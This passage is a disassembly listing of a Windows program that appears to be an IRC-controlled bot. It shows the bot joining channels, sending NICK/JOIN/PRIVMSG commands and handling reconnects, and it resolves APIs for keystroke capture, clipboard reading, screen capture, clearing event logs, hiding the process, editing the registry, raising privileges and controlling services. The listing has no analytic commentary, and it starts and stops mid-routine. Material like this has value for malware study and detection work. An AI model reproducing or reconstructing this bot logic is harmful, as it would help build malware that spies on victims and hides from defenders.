		cmp	eax, 400h
		pop	ecx
		jge	loc_409567
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AD20
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		jmp	loc_4087E3
; ---------------------------------------------------------------------------


loc_4092B8:				; CODE XREF: sub_401AA1+3DC9j
					; sub_401AA1+3DE0j
		push	edi
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	loc_401F20
		push	edi
		call	sub_41BDE9
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F20
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	sub_4096FD
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_428080	; Sleep
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_441254[eax]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		push	dword_44125C[eax]
		call	dword_4280B4	; TerminateThread
		push	edi
		call	sub_41BDE9
		imul	eax, 234h
		push	edi
		mov	dword_44125C[eax], ebx
		call	sub_41BDE9
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_441048[eax], bl
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_409363:				; CODE XREF: sub_401AA1+3D9Bj
					; sub_401AA1+3DB2j
		push	edi
		push	offset dword_42B934
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409392
		call	sub_40B417
		cmp	eax, ebx
		jle	short loc_409388
		push	eax
		push	offset dword_42B8F0
		jmp	loc_4071F1
; ---------------------------------------------------------------------------


loc_409388:				; CODE XREF: sub_401AA1+78DAj
		push	offset unk_42B8A8
		jmp	loc_403F26
; ---------------------------------------------------------------------------


loc_409392:				; CODE XREF: sub_401AA1+78D1j
		mov	eax, [ebp+var_A4]
		lea	esi, [eax+1]
		jmp	short loc_409409
; ---------------------------------------------------------------------------


loc_40939D:				; CODE XREF: sub_401AA1+796Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F20
		push	edi
		call	sub_41BDE9
		push	eax
		call	sub_40B38F
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2C0]
		jz	short loc_4093CC
		push	offset dword_42B860
		jmp	short loc_4093D1
; ---------------------------------------------------------------------------


loc_4093CC:				; CODE XREF: sub_401AA1+7922j
		push	offset dword_42B810


loc_4093D1:				; CODE XREF: sub_401AA1+7929j
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4093FB
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_4093FB:				; CODE XREF: sub_401AA1+793Cj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		pop	ecx
		inc	esi


loc_409409:				; CODE XREF: sub_401AA1+78FAj
		cmp	esi, 20h
		jb	short loc_40939D
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_409413:				; CODE XREF: sub_401AA1+3D6Dj
					; sub_401AA1+3D84j
		cmp	[ebp+var_C], ebx
		jz	loc_409567
		push	edi
		push	[ebp+var_C]
		call	sub_41BF70
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409567
		push	esi
		push	offset dword_42C14C
		push	[ebp+arg_4]
		call	sub_4096FD
		push	esi
		push	offset dword_42B7D4
		jmp	loc_4089BF
; ---------------------------------------------------------------------------


loc_40944A:				; CODE XREF: sub_401AA1+3D3Fj
					; sub_401AA1+3D56j
		push	edi
		push	offset dword_42C094
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		push	offset dword_42B790
		jmp	loc_4089BF
; ---------------------------------------------------------------------------


loc_409463:				; CODE XREF: sub_401AA1+3D11j
					; sub_401AA1+3D28j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		push	offset dword_42B748
		jmp	loc_408896
; ---------------------------------------------------------------------------


loc_409483:				; CODE XREF: sub_401AA1+3CE3j
					; sub_401AA1+3CFAj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		push	offset dword_42B704
		jmp	loc_4089BF
; ---------------------------------------------------------------------------


loc_40949C:				; CODE XREF: sub_401AA1+3136j
					; sub_401AA1+314Dj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42B6C4
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	edi
		call	sub_41BDE9
		add	esp, 1Ch


loc_4094D0:				; CODE XREF: sub_401AA1+7A77j
		push	eax
		call	dword_428080	; Sleep


loc_4094D7:				; CODE XREF: sub_401AA1+2A55j
		xor	eax, eax
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_4094DE:				; CODE XREF: sub_401AA1+3108j
					; sub_401AA1+311Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42B680
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415F45
		push	edi
		call	sub_41BDE9
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4094D0
; ---------------------------------------------------------------------------


loc_40951A:				; CODE XREF: sub_401AA1+E67j
					; sub_401AA1+E7Cj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42A988
		push	eax
		call	sub_40AD20
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		lea	eax, [ebp+var_338]
		push	eax
		push	offset dword_42B640
		call	sub_415FB9


loc_409564:				; CODE XREF: sub_401AA1+51ADj
		add	esp, 24h


loc_409567:				; CODE XREF: sub_401AA1+614j
					; sub_401AA1+620j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_40956F:				; CODE XREF: sub_401AA1+A5Fj
					; sub_401AA1+A74j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F20
		cmp	[ebp+var_A8], ebx
		jnz	loc_401F20
		push	offset asc_42F5E4 ; "!"
		push	[ebp+var_90]
		call	sub_41C764
		mov	esi, eax
		push	offset dword_4CE1C0
		push	ebx
		inc	esi
		call	sub_41C764
		push	offset dword_42B63C
		push	eax
		call	sub_41C764
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset dword_42AA14
		call	sub_41C6E0
		add	esp, 20h
		test	eax, eax
		jz	short loc_409617


loc_4095CC:				; CODE XREF: sub_401AA1+7B98j
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_42B610
		push	[ebp+arg_4]
		call	sub_4096FD
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_42B5D8
		push	[ebp+arg_4]
		call	sub_4096FD
		push	edi
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B590
		push	eax
		call	sub_41BEF6
		add	esp, 30h
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_409617:				; CODE XREF: sub_401AA1+7B29j
		mov	[ebp+arg_24], ebx


loc_40961A:				; CODE XREF: sub_401AA1+7B96j
		mov	eax, [ebp+arg_24]
		push	edi
		push	off_42AAB8[eax]
		call	sub_40B5A7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40963B
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_40961A
		jmp	short loc_4095CC
; ---------------------------------------------------------------------------


loc_40963B:				; CODE XREF: sub_401AA1+7B8Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409640:				; CODE XREF: sub_401AA1+7BC0j
		cmp	[edi], bl
		jnz	short loc_409657
		push	[ebp+arg_20]
		push	offset dword_42AA14
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409668


loc_409657:				; CODE XREF: sub_401AA1+7BA1j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409640
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_409668:				; CODE XREF: sub_401AA1+7BB4j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BC60
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40969F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42B540
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_40969F:				; CODE XREF: sub_401AA1+7BE2j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_42B500


loc_4096AB:				; CODE XREF: sub_401AA1+56Cj
					; sub_401AA1+2831j ...
		call	sub_415FB9


loc_4096B0:				; CODE XREF: sub_401AA1:loc_4035DCj
		pop	ecx


loc_4096B1:				; CODE XREF: sub_401AA1+24C0j
		pop	ecx
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4096B7:				; CODE XREF: sub_401AA1+200j
					; sub_401AA1+215j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4096FD
		add	esp, 2Ch
		mov	dword_4CE1B8, edi
		jmp	loc_401D30
sub_401AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096FD	proc near		; CODE XREF: sub_401925+3Dp
					; sub_401AA1+1BDp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C800
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		leave
		retn
sub_4096FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409743	proc near		; CODE XREF: sub_401AA1+4DDp
					; sub_401AA1+1308p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40975E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40975E:				; CODE XREF: sub_409743+14j
		push	edi
		call	sub_41B650
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B650
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41BEF6
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4097DC
		push	7D0h
		call	dword_428080	; Sleep

locret_4097DC:				; CODE XREF: sub_409743+8Cj
		leave
		retn
sub_409743	endp


; =============== S U B	R O U T	I N E =======================================



sub_4097DE	proc near		; CODE XREF: sub_40121E+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4280A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4280C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4098FE
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CE3B4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CE328, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CE30C, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CE21C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CE1C8, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CE1F8, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CE270, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CE368, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CE3C0, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CE228, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE3B4, ebx
		mov	dword_4CE210, eax
		jz	short loc_4098DC
		cmp	dword_4CE328, ebx
		jz	short loc_4098DC
		cmp	dword_4CE30C, ebx
		jz	short loc_4098DC
		cmp	dword_4CE21C, ebx
		jz	short loc_4098DC
		cmp	dword_4CE1F8, ebx
		jz	short loc_4098DC
		cmp	dword_4CE270, ebx
		jz	short loc_4098DC
		cmp	dword_4CE368, ebx
		jz	short loc_4098DC
		cmp	dword_4CE3C0, ebx
		jz	short loc_4098DC
		cmp	dword_4CE228, ebx
		jz	short loc_4098DC
		cmp	eax, ebx
		jnz	short loc_4098E6


loc_4098DC:				; CODE XREF: sub_4097DE+B8j
					; sub_4097DE+C0j ...
		mov	dword_4CE3C4, 1


loc_4098E6:				; CODE XREF: sub_4097DE+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CE340, eax
		jz	short loc_409913
		push	1
		push	ebx
		call	eax
		jmp	short loc_409913
; ---------------------------------------------------------------------------


loc_4098FE:				; CODE XREF: sub_4097DE+1Dj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3C8, eax
		mov	dword_4CE3C4, 1


loc_409913:				; CODE XREF: sub_4097DE+117j
					; sub_4097DE+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4280C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A28
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CE364, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CE314, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CE2A8, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CE3B8, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CE2D8, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CE2F8, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CE35C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE364, ebx
		mov	dword_4CE248, eax
		jz	short loc_4099CC
		cmp	dword_4CE314, ebx
		jz	short loc_4099CC
		cmp	dword_4CE2A8, ebx
		jz	short loc_4099CC
		cmp	dword_4CE3B8, ebx
		jz	short loc_4099CC
		cmp	dword_4CE2D8, ebx
		jz	short loc_4099CC
		cmp	dword_4CE2F8, ebx
		jz	short loc_4099CC
		cmp	dword_4CE35C, ebx
		jz	short loc_4099CC
		cmp	eax, ebx
		jnz	short loc_4099D6


loc_4099CC:				; CODE XREF: sub_4097DE+1B8j
					; sub_4097DE+1C0j ...
		mov	dword_4CE3CC, 1


loc_4099D6:				; CODE XREF: sub_4097DE+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CE2D4, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CE1DC, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CE2A4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE2D4, ebx
		mov	dword_4CE28C, eax
		jz	short loc_409A33
		cmp	dword_4CE1DC, ebx
		jz	short loc_409A33
		cmp	dword_4CE2A4, ebx
		jz	short loc_409A33
		cmp	eax, ebx
		jnz	short loc_409A3D
		jmp	short loc_409A33
; ---------------------------------------------------------------------------


loc_409A28:				; CODE XREF: sub_4097DE+144j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3D0, eax


loc_409A33:				; CODE XREF: sub_4097DE+232j
					; sub_4097DE+23Aj ...
		mov	dword_4CE3CC, 1


loc_409A3D:				; CODE XREF: sub_4097DE+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409BF6
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CE378, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CE2BC, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CE32C, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CE208, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CE26C, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CE2E4, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CE288, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE378, ebx
		mov	dword_4CE298, eax
		jz	short loc_409AE6
		cmp	dword_4CE2BC, ebx
		jz	short loc_409AE6
		cmp	dword_4CE32C, ebx
		jz	short loc_409AE6
		cmp	dword_4CE208, ebx
		jz	short loc_409AE6
		cmp	dword_4CE26C, ebx
		jz	short loc_409AE6
		cmp	dword_4CE2E4, ebx
		jnz	short loc_409AF0


loc_409AE6:				; CODE XREF: sub_4097DE+2DEj
					; sub_4097DE+2E6j ...
		mov	dword_4CE3D4, 1


loc_409AF0:				; CODE XREF: sub_4097DE+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CE2EC, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CE2C4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE2EC, ebx
		mov	dword_4CE374, eax
		jz	short loc_409B2B
		cmp	dword_4CE2C4, ebx
		jz	short loc_409B2B
		cmp	eax, ebx
		jnz	short loc_409B35


loc_409B2B:				; CODE XREF: sub_4097DE+33Fj
					; sub_4097DE+347j
		mov	dword_4CE3D4, 1


loc_409B35:				; CODE XREF: sub_4097DE+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CE2FC, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CE1E4, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CE1EC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CE250, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CE254, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CE200, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CE2C8, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE2FC, ebx
		mov	dword_4CE1F0, eax
		jz	short loc_409BD9
		cmp	dword_4CE1E4, ebx
		jz	short loc_409BD9
		cmp	dword_4CE1EC, ebx
		jz	short loc_409BD9
		cmp	dword_4CE250, ebx
		jz	short loc_409BD9
		cmp	dword_4CE254, ebx
		jz	short loc_409BD9
		cmp	dword_4CE200, ebx
		jz	short loc_409BD9
		cmp	dword_4CE2C8, ebx
		jz	short loc_409BD9
		cmp	eax, ebx
		jnz	short loc_409BE3


loc_409BD9:				; CODE XREF: sub_4097DE+3C5j
					; sub_4097DE+3CDj ...
		mov	dword_4CE3D4, 1


loc_409BE3:				; CODE XREF: sub_4097DE+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CE1E8, eax
		jnz	short loc_409C0B
		jmp	short loc_409C01
; ---------------------------------------------------------------------------


loc_409BF6:				; CODE XREF: sub_4097DE+26Aj
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3D8, eax


loc_409C01:				; CODE XREF: sub_4097DE+416j
		mov	dword_4CE3D4, 1


loc_409C0B:				; CODE XREF: sub_4097DE+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CD7
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CE2F4, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CE34C, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CE354, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CE310, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CE22C, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CE1D8, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CE350, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CE1C4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE2F4, ebx
		mov	dword_4CE264, eax
		jz	short loc_409CE2
		cmp	dword_4CE34C, ebx
		jz	short loc_409CE2
		cmp	dword_4CE354, ebx
		jz	short loc_409CE2
		cmp	dword_4CE310, ebx
		jz	short loc_409CE2
		cmp	dword_4CE22C, ebx
		jz	short loc_409CE2
		cmp	dword_4CE1D8, ebx
		jz	short loc_409CE2
		cmp	dword_4CE350, ebx
		jz	short loc_409CE2
		cmp	dword_4CE1C4, ebx
		jz	short loc_409CE2
		cmp	eax, ebx
		jnz	short loc_409CEC
		jmp	short loc_409CE2
; ---------------------------------------------------------------------------


loc_409CD7:				; CODE XREF: sub_4097DE+438j
		call	dword_428094	; RtlGetLastWin32Error
		mov	dword_4CE3E0, eax


loc_409CE2:				; CODE XREF: sub_4097DE+4B9j
					; sub_4097DE+4C1j ...
		mov	dword_4CE3DC, 1


loc_409CEC:				; CODE XREF: sub_4097DE+4F5j
		mov	ebp, dword_4280C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FA8
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CE278, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CE3AC, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CE218, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CE1F4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CE2B4, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CE29C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CE260, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CE388, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CE3A4, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CE2B0, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CE394, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CE348, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CE308, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CE304, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CE238, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CE230, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CE358, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CE36C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CE320, eax
		call	esi	; GetProcAddress
		mov	dword_4CE2E0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CE334, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CE2F0, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CE330, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CE39C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CE2E8, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CE2AC, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CE31C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CE38C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CE2C0, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CE25C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CE278, ebx
		mov	dword_4CE3A0, eax
		jz	loc_409FB3
		cmp	dword_4CE3AC, ebx
		jz	loc_409FB3
		cmp	dword_4CE218, ebx
		jz	loc_409FB3
		cmp	dword_4CE2B4, ebx
		jz	loc_409FB3
		cmp	dword_4CE29C, ebx
		jz	loc_409FB3
